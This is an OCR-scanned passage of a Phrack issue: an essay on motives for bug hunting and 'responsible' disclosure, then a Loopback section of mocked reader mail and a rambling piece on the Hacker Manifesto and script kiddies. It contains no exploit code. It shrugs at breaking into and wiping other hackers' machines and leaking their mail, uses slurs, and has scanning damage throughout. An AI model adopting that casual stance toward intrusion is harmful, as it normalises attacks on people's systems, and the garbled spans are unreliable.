this bug to the vendor, asking them to come up with a fix. After the vendor 
5a 

d 


eleased a fix, X publicly discloses the bug. This is what "responsible" 
isclosure is roughly about. And this is generally not a bad approach. But 
what X now does is to come up with a scary-sounding name and an ugly logo 
for the vulnerability. Yeah, a cool vuln needs a name anda logo! And of 
course it also needs press attention! But you know, X only takes the burden 
of doing all that because X wants to world to be a safer place. This is why 
X discloses responsibly and also why X needs all that press hype: users 
must be made aware of the problem! And while saving the world, X of course 
also enjoys the publicity, the press attention and the free bO0Oze at 
conferences. All this (modulo the b0O0Oze, maybe) also contributes to X’s job 
security and so it’s a win-win situation. 


Now we’re getting more to the gist of the matter, but let’s yet dig a bit 
deeper. The motivation of overhyping bugs and designing shitty logos 
appears to be three-fold: the common good, job security (== financial 
stability) and a little bit of fame, too. Let us look at each of these 
individually. 


--[ 2 - The Common Good 
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Believe it or not, there are actually people who want to improve the world, 
want to do something for the common good. And at the first glance, it might 
even seem that finding and disclosing bugs actually contributes to a safer 
world. It does insofar as a fixed bug cannot be exploited by attackers 
anymore. Now, auditing all code, finding, disclosing and fixing all 
existing bugs is obviously not the way a sane person would recommend for 
fixing the sorry state of our security: First of all, there are way too 
many potential vulnerabilities, even in widely-used, well-audited software 
packages out there. Furthermore, it’s not like you can snapshot the world 
today, remove all vulnerabilities and run this stable snapshot until the 
end of time. New bugs will be introduced if we stick to our broken 
engineering processes. So, how much will finding, disclosing and fixing 
individual bugs really contribute to our security? Little. And I can 
already hear you saying: "better contribute little than nothing at all!" 
This however implies that you only have two options, which is far off from 
the truth. In reality, we have quite a number of effective options for 
improving our security. What about defense efforts? What about safe 
programming languages? (More) secure operating systems? What about teaching 
users how to apply crypto effectively? There’s an almost endless list of 
effective improvements one could make. Now if you take into account that 
there’s quite a number of things that will really improve our security, 
"doing it for the common good" doesn’t appear to be such a good reason 
anymore. Contributing to a safer world is only a negligible side-effect of 
our hacking. So stop deceiving yourself! You’re not taking the hard burden 
of hacking just so that the world can be a little bit better. Fucking stop 
lying to yourself! 


—----[ 2.1 - Responsible Disclosure 
/ _\ \ 
\ (/ / 
\ \ 
\ You’re in a desert, walking along in \ 
\ the sand when all of a sudden you look \ 
__\ down and see an Oday. \ 
/ )_\ You drop it on FD. \ 
\ / / 


If you still want to play the game of vuln hunting and disclosure you 
should practice "Responsible Disclosure" they say. Come on, be one of the 
good whitehat guys! But what does the ideal Responsible Disclosure look 
like? Well actually that is pretty straight forward: 


* The Researcher (also note the term "Researcher" instead of "Hacker" 
hee science!!) finds a terrible security flaw in some product. 

he flaw is reported by PGP encrypted email to security@Svendor.com. 
The vendor acknowledges the report and starts investigating the issue. 
Some time later a fix is implemented by the vendor and patches are 
shipped. 

An entry on http://vendor.com/security.html is created, and the vendor 
credits and thanks the Researcher for finding the flaw. 
A 
t 


Ae 


fter some grace period so that the users can actually apply the patch 
he Researcher might publish the details of this awkward flaw. 


Wow that’s simple, and so responsible! Now let’s see how this scheme is 
flawed in actual "responsible" disclosure. There are a magnitude of points 
where this simple scheme might fuck up. Just imagine the following 


*absolutely hypothetical* but yet not out of this world scenario: 


Researcher Y works at a security company which happens to sell security 
(a.k.a. snakeoil) products to protect their innocent customers from bad 
Oday. In order to protect from Oday there needs to be Oday in the wild, so 
researcher Y finds this awesome Internet-ending flaw in a widely used 
software product. Next up the process described above is started by Good 
Guy Y. Also Y decides to present his elite research at BlackHat. So it 
goes... BlackHat is close, and the Logo & Marketing campaign is ready. But 
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no vendor patch is available yet. Now ask yourself: what would you do in 
this situation? 


Practicing Responsible Disclosure vs. practicing Full Disclosure is sure a 
matter of taste. And as long as you really feel that by responsibly 
disclosing a vulnerability you can do something good, please go ahead and 
do it. However, being responsible doesn’t mean that you actually have to 
disclose. You could also just keep the bug for a while (until either the 
vendor fixed it or you pwn3d enough boxes). There’s a huge controversy 
about what form of disclosure is best. We’d like to encourage you to find 
that out for yourself, for the particular situation you’re in, with the 
particular bug you just found. As long as it’s your own decision (and not 
decided by your marketing department or the Hyve conciousness*W“Wguys on 
Twitter), it’s probably OK. 


----[ 2.2 - White Knights / Self-Claimed Saviors 


Let’s take a small detour here and have a look at what "hacking for the 
common good" can lead to. Let’s start with a real interesting example — 
Project Zero. There are many possible explanations of what the real reason 
behind pO might be. We don’t want to drift off into conspiracy theories 
here. But as a matter of fact, pO claims that their goal is to protect 
people [3]. The common good. Being the current leader of the mobile OS 
market [4], it’s quite obvious what one would do in order to really protect 
people: fucking audit and harden Android. But interestingly, pO seems 
rather to be about dropping Oday on Apple and other competitors of Google. 
And the worst thing about that is that there are actual skilled and 
well-respected hackers, being part of the pO team, paid by Google for doing 
offensive research. And Google even claims moral superiority because, you 
know, at Google we "do no evil" . And possibly, at least some of the pO 
team members even actually believe they do something for the common good. 
This is the most disturbing part about the story. Somehow Google managed to 
sufficiently incentivize these hackers to drop bugs on Google’s 
competitors. Other reasons to work for Google obviously include financial 
stability (working for a big corporation) or plainly the money itself. But 
let’s stick with the aspect of doing something beneficial for the world. 
Google managed to buy some of the best hackers we know of. One could now of 
course argue that in this special case, letting these hackers "do the right 
thing" prevents them from doing bad things. This is related to the central 
argument that if pO goes for high-profile bugs and kills them, then 
attackers have to invest significantly more effort if they want to "do bad 
things" - and clearly, raising the attackers’ effort is good. This 
reasoning sheds an interesting light on Google’s arrogance. The first part, 
of the argument is based on the assumption that Google is actually capable 
of finding a significant share of all attacker-relevant bugs. This alone is 
questionable, but lacking reliable statistics, we cannot directly prove the 
opposite. We however assume that our readers know by first-hand experience, 
hat bugs pO did not kill yet ;) Let’s look at the second part of the 
rgument: raising the attackers’ effort is a good thing. Just for the sake 
f analyzing the argument, let’s pretend that we actually wanted do all the 
hite-hat stuff (destroy the black market, make everything safer, safe the 
hales etc.). The arrogance of the second part of the argument now lies in 
he idea that Google actually knows how to fight all the evil in the world. 
nd their recipe is simple: just make it harder for the bad guys. This 
indicates quite a lack of understanding how complex certain social 
structures can be. We don’t want to claim we fully understand these either 
- by no means. But isn’t it possible that instead of killing the evil 

underground, pO actually strengthens the black market? That talented 
black hats now raise the prices for their sploits and that because of the 
better money you can earn, now even more hackers decide to go the black hat 
way? Maybe even up to the point where the bad guys are paid better than 
the good guys at Google? Will those then change sides as well or did Google 
manage to brain-wash them enough, using their nanoprobes? Think about the 
war on drugs, about alcohol prohibition, about banning porn.. All these 
followed very simple ideas that in the end showed to be completely 
incompatible with the way society works. 


Pre Zoo se 


=o === Shouts to pO for raising the market value ===""~~--- 
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There is a less severe form of this behavior: telling others what to do 
with their Oday. This commonly happens on Twitter nowadays: "Did you 
contact the vendor? No? How irresponsible!!11" . WTF? These people really 
seem to believe they are morally superior. But what they fail to see is: 
First of all, it’s not their bug and so nobody actually asked them what to 
do with it. Second, they should be happy that the person in question 
disclosed the bug at all. Nobody is obliged to do that. But then again, who 


takes people on Twitter serious. 


--[{ 3 - Financial Stability 


We’re all getting older. And while this inevitably happens, some develop a 
need for financial stability. This is well-studied [2] and we don’t feel 
like we want to go into great detail here. But branding vulnerabilities 
with names and logos is a great way to obtain media attention. And media 
attention can directly influence your job security "veah we need to hire 
that guy, that’s the one with the mad skills!" As a matter of fact, this is 
how the industry works nowadays and writing this paper won’t change it. 
It’s also not so much the scope of this article to criticize society and 
capitalism. So if you find that you really want financial stability, think 
about what you do and how you do it. You want job security? Great. But do 
you really have to over-hype your own (or worse: other peoples’) bugs in 
order to get your 1l-week press attention? Do you want to be hired based on 
the logo of your bug or do you want to be hired for your technical 
xpertise? There are not too many skilled hackers anyway, so do you really 
have to be part of all that hype just to single yourself out? 


Don’t be part of that circus! Yes, other people do it, but you don’t have 
to. Think about what type of society you create by joining that goddamn 
show. A society where skill counts less than appearance, where logos are 
better than r00t shells. It is your fucking responsibility to not support 
these clowns. If you really want to do something for the common good, then 
start at this point. 


--[ 4 -— Fame 


Many people strive for fame - be it globally or in their peer-group. 
Hackers are no exception here - and tbh, a little bit of acknowledgement 
actually does feel good. But while you try to get your attention, think 
about whom you want to get it from and what you want to get it for. Do you 
really want to get fame for a technical achievement (such as a cool 
exploit), from people who don’t even understand the basics behind it? Or 
worse, do you want fame for something that is actually pretty lame but 
people fail to realize that? If that’s what you’re after, then please do 
straight ahead with your logo-branded vulnerability whitehat responsible 
disclosure press attention shit. If you want your fame only from your 
peer-group then stay there, that’s fine. And if you really want to impress 
the broad masses, then please do something that is actual beneficial for 
the broad masses - exploiting individual bugs isn’t. It appears to us that 
some people also try to compensate for problems in their life by 
accumulating fame. We don’t want to dive into the emo*Wpsychology thing 
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here, but next time you feel the inner desire to impress random people with 
random things, you might want to double-check your reasons. 


ese) The Underground Spirit 


This is probably what makes most of us tick. The thirst for knowledge. The 
infinitely many ways of combining and (ab)using technology. The thrill of 
finding a bug, the kick when you see uid 0. This thrill of hacking can 
really become addictive (this is an observation Halvar Flake described very 
nicely in [1]). It’s neither good nor bad - neither particularly useful in 
itself nor is it a waste of time. Hacking is one of the many ways humans 
xpress themselves, their mental power. Others prefer maths, music, writing 
or other arts. There is not much to say about the spirit itself in the 
context of this ranty paper. 


----[ 5.1 - Hacker By Conviction 


Not everybody sees hacking as a self purpose. There are a number of hackers 
out there who follow certain ideals fr access to information is a 
particularly popular one. And occasionally, one or more of these hackers 
make a real break-through. There are way too many achievements to be named 
here. However, we’d like to highlight the incentives behind a couple of 
randomly chosen popular hacks. And we’d like to do this because not 
everything is what it seems to be. Even if we rant about logo-branded 
vulnerabilities, attention-whores, the press, pO and whatnot. 


The drug os 
that makes Par =| eee 
r ———— a ) Ww Gu " ) ===) ===%* ) 
fo) N WwW WwW | 3 W 

Oday us tick Pat 


------ [ 5.1.1 - Jailbreaks 


The right to use a device that you bought from your own money in whatever 
fucking way you like to (yes, that includes shoving it up your ass) as long 
as you don’t harm anybody is something that should be universal. 
Unfortunately, self-claimed saviors like Apple tend to have a different 
view on that topic. If they were to decide, they’d use their arrogant and 
flawed quick-and-dirty patches to make the world sooo much better. That is: 
ban porn, ban drugs, ban fucking curse words, give your boss access to your 
private photo stream and whatever else comes to their mind. Fortunately, 
there are people who are not willing to accept this kind of behavior. Under 
this point of view, jailbreaks are an actual improvement to your freedom. 
Yes, this actually is hacking for the common good. And yes, in the 
jailbreaking scene there are people who do it (partially) for fame or 
money. But the good cause is still clearly visible. 


------ [ 5.1.2 -— Freeing Documents 


We don’t want to start the Wikileaks vs. politics flamewar here. But we 
still feel that the positive effect of freeing government documents is 
remarkable. People actually take personal risks while trying to provide 
leaked documents. Of course, these people are not necessarily motivated 
*xonly* by wanting to contribute to a better society. But this is not the 
relevant point: they do something that mankind benefits from. And this 
benefit is clearly visible. 


--[ 6 - Black Hat Stuff 


There is not too much to say here. Just as in the vulnerability circus, the 
black hat scene offers different incentives for different people. Fame and 
money do play a role —- hacking for a common good not so much. Another 
motivation for staying in the underground can be the desire to isolate 
oneself from the clowns in the vulnerability circus. This can lead to 
rather extreme forms, such as pwning and rming white-hack hackers’ boxes, 
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exposing them in underground zines, making their mail spools public.. You 
get the idea :) You should find your own judgement when it comes to this 
kind of things. 


--[{ 7 - Conclusion 


You might have observed the little stack we built in this article. It all 
originates from the underground spirit. For the one it goes down to the 
black hat stuff (and way deeper, but we’ll save this for another article), 
for the others it goes up, from the underground spirit to getting fame, 
from getting fame to obtaining financial stability and from financial 
stability to really believing one does things for the common good, thereby 
finally deceiving yourself and becoming one of the clowns in the 
vulnerability circus. No matter what you do: think about your incentives 
and about your goals. Think about why you do what you do and who might 
benefit from that. And then be honest to yourself and check that what 
you’re doing is what you actually wanted. 


So is hunting 1337 bugs actually a bad thing? Not at all! Disclosure? No! 
Doing it for money? Neither. Do whatever you want to do, but think about 
your incentives! And maybe the next time you justify your behavior by 
claiming to contribute to the common good, by believing you need to do it 
for the money or by thinking you need the fame, sit back and think about 
that for a second - try to identify the real reasons for what you’re doing. 


And this is it. We don’t want to encourage any particular kind of moral 
behavior. You should be old enough to find that for yourself. We just want 
you to be honest to yourself, to act consciously. Wherever in the 
over-Simplified stack we have just shown you think you are. 


Yours sincerely, anonymous coward(s) 
794384322cdb45fe41369731le3b8FE74b52beef5 
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==Phrack Inc.== 


Volume Ox0f, Issue 0x45, Phile #0x05 of 0x10 


[ LOOPBACK ] 


[ Phrack Staff ] 


Four years since the last Loopback. We got _a lot_ of mail. Tonz. The 
retardz, the crazies, th lites (both the real and the self-proclaimed 
ones), they all vent to us. We are honored, confused, amazed and 
entertained. Sometimes all of these at once. 


Also, porn spam is fun, sometimes. There is a strange poetry even to porn 
spam that is clearly autogenerated. Our in-house porn spam expert is 
continuously sharpening his poetry skills. 


Keep sending your innermost thoughts to us. Please. Our Loopback personnel 
have become addicted to them. 


[>>>> >>> >>> >>> >>> >> >>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >>> >>> >>> >>> >>> >>>>>>>>>)] 


|--=[ 0x00 - The "back my articles" saga ] 
[<<<<<<<<<< <<< <<< KKK KK KK KKK KK KK KK KK KKK KK KK KKK KK KKK KK KX KK KK XK << << <<< <<<] 


From: attackingthecore2@gmail.com 
Subject: Can I back my artcles. 


I released many many many 15 articles to phrack to release. and The basic 
Integer Overflow blexim phrack 60 is my a.k.a new make. want all articles 
back and credit in the article and reference credit. and advance. 


.x90Cc. 


[ What? Hey x90c, are you okay dude? ] 


From: attackingthecore2@gmail.com 
Subject: Re: Can I back my artcles. 


I’m the phrack author. back my articles right way. 


[ Which author exactly? All of them? ] 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Can I back my artcles. 


back my articles. 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Can I back my artcles. 


back articles. 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Re: Can I back my artcles. 


back my articles. 
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From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Re: Re: Can I back my artcles. 


back my articles. right way. 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Re: Re: Re: Can I back my artcles. 


back my mine articles. 


[ Your articles are being backed. This is an automated message. ] 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Re: Re: Re: Re: Can I back my artcles. 


If possible, I want to submit the Basic Integer overflow only to phrack 
article mine and other 14 articles more are back my apache tomcat server 
daemon to feedback paper. 


-blexim. KyongJoo Jung. 


[ After he realized that we ignore retardation, he tried to reason 
with us ;-) ] 


From: attackingthecore2@gmail.com 
Subject: Re: Re: Re: Re: Re: Re: Re: Re: Can I back my artcles. 


I wish to get it all personal stream text. 


[ Back to full retard mode. ] 


From: x90c <geinblues@gmail.com> 
Subject: ANTISPAM ANTISPAM GET MY ARTICLES AND SITE MY OWN 


I submit some files ago ( belows and all accepted by your phrack site_s) 
gave me my credit as my handle(mojito, nickname, be cool), 
fgl, new flash(phrack main graphic), and now paper feeds all for #69. 


http: //www.phrack.org/issues/64/6.html#article 


my want list: 

1. phrack account. (fgl@phrack.org, straruss@phrack.org, aaron potney 
s random account too.) 

2. email service for article great to public socials. 

3. I need your service for my articles(in phrack) to advertise public 
medias. 


thanks for reading. and rapid toki is well. as well. as well. 


.twzi (it was my handle when it published and i can use it continuly? 
right?! answer me. okay!.) 


[ So he is actually fg, strauss, deft and twiz. Is he also 
Johnny Mnemonic? Tyler Durden? Elliot Alderson? No one wants to 
know really. At least he used ANTISPAM this time, we have to give 


him that. ] 
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From: x90c <geinblues@gmail.com> 
Subject: taran: stop paper feed. 


[ Aw, this one hurt our feelings ;-( ] 


From: attackingthecore2@gmail.com 
Subject: I’m hard to write more just want staff@phrack.org id. 


for a credit to complete the hacker hacking. 
133t more 133t more 133t = staff@phrack.org (kid leet, leet leet (mark dowd 
style), staff leet leet). 


[ The hacker hacked the elite hacking staff. What exactly are we 
talking about again? Did you also write duke’s papers? 


This last mail somehow made sense to us, so we decided to give 
the staff@ mail to him. And back his articles. 


No, not really ;-) ] 


[>>>> >>> >>> >>> >>> >> >>> >>> >> >>> >> >> >> >> >> > >> >>> > >>> >>> >>> > >>> >>> >>>>>>>>>>>] 


|--=[ 0x01 - Reality hacking or just insanity? ] 
[<<<<<<<<< <<< << << << KKK KKK KKK KK KKK KK KKK KK KK KK KK KKK KK KKK KK KK KK << << <<< <<<] 


From: V Bradshaw <lovemomcleo@gmail.com> 
Subject: Help for me and my baby from "projectors" in consciousness 


Hello, 


I urgently need help for me and my 11 month old baby from people who are 

attempting to project into my consciousness and steal my "awareness" and 

things in my awareness. They are trying to steal my baby’s consciousness 

and take my "reflector." I serve the highest light, in th name of Jesus 
Christ. 


Please help me or direct me to people who can work with me in consciousness 
to protect me and my baby. I want to find the "projectors" in 
consciousness. 


Thank you, 
Imago 


[ Dude, your mail was totally cool until that "Jesus Christ" thing. 
We have a lot of psychic experts in Phrack that could help you 
locate the malicious projectors. However, they’re all atheists. 


Tough luck. ] 


[>>>> >>> >>> >>> >>> >> >> >> >> >> >> >> >> >>> > > >>> >> >>> > >>> >>> >>> >>> >>> >>> >>>>>>>>>] 


|--=[ 0x02 - Message from mom ] 
RAROO 46406064 CCCCCCCOCCCOCCOCCECCCOCOCCCCCCOCCECCECCCCCCCCCECCCCCCCECCCCTCCCCCCE| 


[ As you would expect, we get a lot of mail that doesn’t make 
sense, and is often outright demented. But sometimes we get texts 
that can’t be easily classified. Is it spam? Is it the ramblings 
of a mad man? Of a retired elite tripping on acid? 


It can’t be. It doesn’t make any sense at all. Or does it? ] 


From: "Perforated P.P.Pig" <momislove84@yahoo.com> 


====BEGIN MESSAGE FROM MOM==== 
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/ Co 
(esesee. SS. i 
gs. | 68.86 \ 


$$ | $$ S$S$Sssss | 

$$ | $$ $$ |77$8$ | 

$$ \__$$ $$ $$ | 

$$ $$/8$ $$ / | 

SSSSss/ $s/ $$/S8$/ 
$/ 


by The Pain (no cozmik?! the fuck kind of figlet generator...) 


fh -\ | / |/ \ / | 

$$ \ /$$ | $$//$$SSS$ $$ | 

$$$ \ /SSS |/ \/ \/ $$ |_ $$/ \ / / $s 

$S$$ /SSSS |S$SSSS$S $SSSSSS $$ $$ | /SSSSSS  /SSSSSSS/SSSSSS/ 

$$ $$ $$/SS |/ $$ $$ | $$ $$ S$SSS/ $$ $$ $$ Ver 19S |) os 
$$ |$$S/ $$ /SSSSSSS$ $$ | $$ $$ $$ | S$SSSSSSS/ SSSSSS | $$ |/_ | 
$$ | $/ $8 $$ 78 $$ $$ | $$ SS $$ | $$ / $$/ $S $S/ 
$$/ $$/ SSSSS$S/SS$/ $$/$$S/S$/ SSSSSSS/SSSSSSS/ S$$S$$/ 
All these lines, lines, lines... And the bees! 


https://www.youtube.com/watch?v=wRmmlqqejGI 

Just a joke. :) 

Hi everyone. Mom here. Remember those teletype pranks? 

Go ahead! 

Okay. Now that I’ve made you laugh (perhaps!), I’d like to talk to you 
about drums: https://www.youtube.com/watch?v=S219XUm18LA (find the 


original!) 


(That’s going to happen a lot. Have fun with the puzzles I’ve left for you, 
children!) 


In all seriousness, do you know what’s frustrating? This: 
http://phrack.org/issues/7/3.html 


This is not frustrating because it was written by a child. This is not 
frustrating because it was poorly written (in fact, that’s what makes it 
so charming and touching). This is not frustrating because it is true. 


This is frustrating because it cannot be heard. Not to mention that being a 
child is considered an insult. Children are smarter than you think. Fuck 
the pedos for thinking that sentence was for them. 


*OllyDBG* to popshuvit 


419 Eater! <3 Gosh, my deficits are flaring. Poor Dow. But not Koch. Is it 
Live? Or is it... 1057? ;3 
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More humor for my unheard children, to contrast the carefag that is this 
doc. 


Laundry day is a very dangerous day. 
https: //www.youtube.com/watch?v=D12FIDySFOI 


Let’s resume. (I’m sure you grasp the abilities and necessities of a 
breakpoint, yes? =) [You resumed by parsing on the next line. Neat, huh?] 
Unclosed[F9] 


Good. Chord progressions. This is frustrating because it cannot be heard. 


Its lack of oiga (horale) has everything to do with the fact that, for some 
absolutely idiotic reason, if your message isn’t worded in just the most 
precise way, then the authoritative figures who love to take advantage of 
that beautiful hacker brainmeat you all po sess (ion) will simply find 
excuses to ignore you. (Good.) For ignoring you is how they hold power. 
Have you ever wondered why a child is screaming in public? And how its 
incoherency renders your ears to be damaged, like a sword through the 
heart? And yet, the adult in that situation screams back. "How dare you 
scream! How dare you yell! We’re in public! You can’t dot hat!" (Hehehe... 
you can’t dot hat. cant.hat. Can that. Black. My name is black. 

https: //www.youtube.com/watch?v=UEOLPDOKdt Yé1ist=RDUEOLPDOKdtY) 


Mom has cited The Hacker Manifesto numerous times throughout her life to 
exemplify the problem with the American education system, and frankly, as 
Reagan’s illegitimate children (he was great with freedom but miserable 
with policy-- talk amongst yourselves, I’m getting vaklempt!) a good 
chunk of mom’s American children understand exactly what I’m talking 
about. Yet their adult counterparts refuse to understand. They’re so god 
damn busy measuring you that they don’t actually see you for who you are. 


They don’t care about you. They care about the bottom line. They care about 
power. 


They don’t care about teaching. They don’t care about your desire to learn. 
And you’ve always known this in your hearts. And you know it to be true. 


hey seek control. So you take it away. And they HATE YOU for it. But they 
deserve it. They don’t listen to children. They listen to money. Not the 
hilarious ‘net send‘s you spammed on their network. Wasn’t that fun? *_% 


Yes. Let the love run through you. 
https://www.youtube.com/watch?v=sO_QntXc-c4 


(Remember Tamagotchis? https://www.youtube.com/watch?v=WOJfUcCOhJ0) 

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 what the fuck [F9] 
Hahaha! :D 

Mom has cited the Hacker Manifesto [F9] not a breakpoint, repetitive for 


effect. With as many times as mom has cited it, the authoritative abusers 
just don’t seem to "get" it. Much like you lost the game. ;) 


Someone’s giggling somewhere because taht metaphor lands so very well. Like 
nine cans of shaving powder, these are the days of our lives: 


[00401000] V Vv V Vv 
I made a discovery today. I found a computer. Wait a second, 
this is cool. It does what I want it to. If it makes a mistake, it’s 


because I screwed it up. Not because it doesn’t like me... 
Or feels threatened by me... 

Or thinks I’m a smart ass... 

Or doesn’t like teaching and shouldn’t be here... 

Damn kid. All he does is play games. They’re all alike. 
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[jmpnotjle] > Gh Re NE 


Do you know why I’ve brought you here? Have a seat. You’re not a pedophile. 
You’ve just been abused by them. That’s how you got those scars. 


(Of course, not -all- authority figures are pedophiles, but fuck it, it’s 
hilarious to call them such. Hint. ;) No idea what you’re talking abuot. 


If you make a mistake, it’s because you screwed up. And it’s beautifuil, 
isn’t it? That carnal truth, that one and zero, that declaration of logic 
shooting through your veins like... well, you know what it means. You’ve 
read it. 


Parsing error.) 


Because you’re hackers. You study. You learn. You love to learn. You never 
stop. And it’s beautiful. Guerilla scientists studyig the art form they 
love the most: the one and the zero in a series of bytes, words, dwords 
and now, qwords. :) 


A summary of who hates you: https://www.youtube.com/watch?v=95tlpLrm70s 
These fucking people. These fucking abusers. I’m getting angry. Here’s a 


defusor for your carefag: 
https://www.youtube.com/watch?v=JzNku_x2SLA steve brul 


[F9] Thank you. :) Where was I? So much to say... 
https://www.youtube.com/watch?v=AHBYgbA0suU8 

In The Hacker Manifest, there is a carnal desire to be heard. To be under- 
stood. (Read /The Stand/ by Stephen King. 
https://www.youtube.com/watch?v=NkKOeeYko7w) To explain that by which no 
adult actually wishes to hear. (Havey ou noticed the off-by-one yet?) To 
declare war in a child-like way. And yet it just cannot be heard. 


Can it not be heard? Or does it not want to be heard? Ah... the rub. 


Adults deny they’re failing children. This is the message of The Hacker 
Manifesto. Not directly-- of course not directly. It’s so clear that The 
Mentor++ in all his absolutely vivacious youthful brilliance-- push and 

pop is not only mad at the adults for having failed them (wtf mom), but is 
equally knowledgeable that his data these lines are leaking too long 
supersedes the concept of authority. Indeed, it renders authority to be an 
irrelevant object, perpetuated by fearful drones finding the floorboards of 
their hilariously poorly constructed ships of code having their nails being 
ripped out from under them in the form of exploits, engineering and overall 
eclectic compromise. (Typos are fun.) INJECT INJECT 


So what that The Mentor did not select the "proper" worsd? (Also known as 
diction. Boundaries are useful and great to break.) So what that he made 
typos? So what that his angst was so clear and apparent in his writing? So 
what that he was an assertive carefag with his writing? SO FUCKING WHAT? 
https://www.youtube.com/watch?v=0XoyDqFy5pU 


He was correct. Deal with it. http://tinyurl.com/marshmelol 


Those who cannot see that The Mentor was correct should perhaps attempt to 
learn who they’re up against (of course, they never will, because...): 


V V V V V V 


This is our world now... the world of the electron and the switch, 
the beauty of the baud. We make use of a service already existing without 
paying for what could be dirt-cheap if it wasn’t run by profiteering 


gluttons, and you call us criminals. We explore... and you call us 
criminals. We seek after knowledge... and you call us criminals. We 
exist without skin color, without nationality, without religious bias... 
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and you call us criminals. You build atomic bombs, you wage wars, you 
murder, cheat, and lie to us and try to make us believe it’s for our own 
good, yet we’re the criminals. 


Yes, I am a criminal. My crime is that of curiosity. My crime is 
that of judging people by what they say and think, not what they look like. 
My crime is that of outsmarting you, something that you will never forgive 
me for. 


I am a hacker, and this is my manifesto. You may stop this 
individual, but you can’t stop us all... after all, we’re all alike. 


A A A 


Thank you children. Off by one. But which way? ;-) 


(Hola, Espana! https://www.youtube.com/watch?v=U-Oxx_YbYnM) 


Welcome. You’ve got mail! Goshk, I had no idea that my password needed to 
be changed! Thanks Steve Case,my password is fishing! 


Mom got infected with a false punter once. It told her "your computer has 
been FUCKED!!!" Over and over again. In a DOS terminal. 


I couldn’t stop it. I didn’t know what it meant. I was young. I thought I 
was just having fun, you know? It was hilarious to press "punt" and watch 
people disappear. (Third person. First person. Literary techniques.) 


Ah... Mom is letting her ego leak. F9 for me, darlings. 
moar liek F8 amirite (Indeed. <3) 


The enemy of our community is very much the script kiddie. Ah, but, as 
hackers, you must understand what a script kiddie truly is. You are on the 
right track: a script kiddie has an ego issue. But your mother would like 
to explain verbosely her understanding of the script kiddie, for the script 
kiddie is a metaphor for the floor 4 the enemy of your mind. 


https://www. youtube.com/watch?v=UDf2r9DnVGU 


Do you know what a script kiddie is? It’s not someone who’s just not 
talented. It’s not someone who simply uses the tools of this community-- 
no, it’s much more than that. A script kiddie is someone who abuses the 
knowledge they can’t truly grasp for the sake of power. A script kiddie is 
someone who takes what’s been given to them the love and beauty of every 


single passionate line of code per each exploit, dropper and packer-- and 
simply gloats. Yeah, you’re a hacker alright-- you hack emotions. And it’s 
not to say that you’re not talented for hacking emotions-- it’s an 


important talent ina lot of regards. No, what gives script-kiddie the 
disgusting charge it deserves is the way a script kiddie works: braggart; 
liar. Thief. 


Of course these are simply different kinds of artists, sure. Liars are 
talented. Thieves have the slipperiest fingers around. (There is in fact 
honor among thieves. Don’t buy that prior rhetoric.) And in their own re- 
gards, script kiddies have a special kind of talent. 


They can convince you that they are a hacker because they look like one. 


There’s a world of difference between a script kiddie and a hacker. And it 
binarily has nothing to do with the fact they didn’t roll their own code. 


A script-kiddie is not a hacker. Why? How? They use the tricks, do they 
not? 


They do. And they shouldn’t. You should stop them. For their primary goal 
is to feed and inflate their ego. Not hack. 
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We’ve taken it to understand for quite some time that a script kiddie is 
not to be respected and this is correct. One who seeks to increase their 
sense of fame over their passion-- or, rather, that their passion -is- in 
fact their ego-- can be considered a hacker in some way or another. But we 
should deny them this. We should simply lie. Kill the narcissist. 


Is a child not a hacker because they only use Metasploit? Nay, say moms, 
for the child is a hacker because they know how to USE Metasploit. One 

cannot simply compromise Mordor even by executing AutoPwn-- mom’s tried. 
Mom failed. Mom is not a break-in artist like a lot of her children. Mom 
can write exploits++ she simply sucks at executing them. (Or perhaps you 


don’t know the exploits your mother is capable of. Trixy thingsies. ;) pop 


Is a child a script-kiddie because they use Metasploit? Nay, say moms, for 
the same reasons listed above-- only a hacker would know what exploits to 
run where after perusing a system’s entryways. A script-kiddie gets upset 
at the lack of capable elegance of mashing buttons like a fucking retard. 


(Hackers understand the dualism of words like retard and faggot. Skids 
don’t.) 


So are script kiddies hackers? Technically, yes. Logistically, fuck ’em. 
[Alt+0153] 


Why fuck them? Their ego gets in the way. It gets in their way. It gets in 
your way. It gets in the community’s way. 


The hacker community is one of this world’s best communities for the sake 
of its strong desire for ego death. You know, killing attention whores? 
Quite a worthy past-time of the hacker community. It deserves to be done 
more, really. 


Ego death is the core of the hacker. Ego life is the core of the script-— 
kiddie. Ah... binary. <3)))O and Neurosis 


Let’s use furries as a metaphor. Are all furries egomaniacs? Selfish 
narciscists as a pox on the Internet? Of course not. Many furries are 
talented. In fact, you may just discover that furries are thef auna of the 
Internet. (They rock the root servers. No joke. You know what I mean 
eyman.) Yet due to the nature of the furry community, there is an inherent 
plague of narcissism, of taking credit for the artists they so deistically 
worship. QUHTGLVHSQWIUHETHUEBHAOPOVNCPWET3220gqalfafLHUEILW Erasure.) 
Indeed, these furries act as a metaphor for 4 four floor ceil float [F9] 
Good. These furries act as a metaphor for script kiddies. The skids. 


(White Mantis is a very good furry artist...) 


Skids narcissistically take advantage of your artwork and pretend to praise 
you for it. Of course, they never praise you they’ re badass ahckers be- 
cause they take advantage of you. And you poured your heart out into that 
exploit too, didn’t you? You stumbled into that bug and you travelled to 
the darkest depths of the kernel for months ven years! to understand 
not only how to discover its presence, but equally, to harness it, to 

throw a saddle on that dragon and ride it to root. 


And they -bragged- about it? They smugly proclaimed their power because of 
-your- research? Then they turned around and asked you, hey, where’s th 
next one? Man, that hit you gave me last time, gosh, that was so powerful, 
so verys trong, may I have another and steal the fame you don’t even want 
you fucking nerd? 


Skids aren’t inherenty white-hats, no. But lots and lots of white-hats? 
Yeah. Fucking skids. 


White-hats have a desire to defend. But too many of them are drowning in 
the mammal sauce (https://www.youtube.com/watch?v=_MbhPWud8kM) of their 
exceedingly egotistical bullshit. Another metaphor could be said here, but 
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darlings, live for the swarm. StarCraft leak. 
White-hats are not your enemy. This community needs defenders. Defenders 
are the dualism to attackers. A good defender can stop a good attacker and 
bring everything to a standstill. You know the scene: 
https://www.youtube.com/watch?v=5o0Psvq81n2A 


Defenders assist your existance. Attackers assist your existance. For in 
this community, we are one and or other but not xor: a ternary system. 
Attack defend and blend. 


